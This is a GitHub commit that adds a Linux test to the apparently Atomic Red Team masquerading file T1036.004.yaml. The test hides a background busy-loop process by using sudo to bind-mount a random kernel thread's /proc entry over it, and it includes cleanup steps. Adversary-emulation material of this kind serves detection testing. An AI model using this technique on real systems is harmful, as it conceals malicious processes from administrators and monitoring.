Skip to content

Commit

Permalink
Update T1036.004.yaml (#2945)
Browse files Browse the repository at this point in the history
* Update T1036.004.yaml

* Update T1036.004.yaml

Added elevation_required and set the value to true

* Update atomics/T1036.004/T1036.004.yaml

Co-authored-by: Hare Sudhan <[email protected]>

---------

Co-authored-by: Hare Sudhan <[email protected]>
  • Loading branch information
JrGoomer and cyberbuff authored Sep 24, 2024
1 parent 48887f4 commit 95856cc
Showing 1 changed file with 17 additions and 0 deletions.
17 changes: 17 additions & 0 deletions atomics/T1036.004/T1036.004.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -55,3 +55,20 @@ atomic_tests:
exit 0
cleanup_command: |
rm -f #{exe_path}
- name: Hiding a malicious process with bind mounts
description: |
Creates a malicious process and hides it by bind mounting to the /proc filesystem of a benign process
supported_platforms:
- linux
executor:
elevation_required: true
command: |
eval '(while true; do :; done) &'
echo $! > /tmp/evil_pid.txt
random_kernel_pid=$(ps -ef | grep "\[.*\]" | awk '{print $2}' | shuf -n 1)
sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)
cleanup_command: |
kill $(cat /tmp/evil_pid.txt) || echo "Failed to kill PID $evil_pid"
rm /tmp/evil_pid.txt
name: sh

0 comments on commit 95856cc

Please sign in to comment.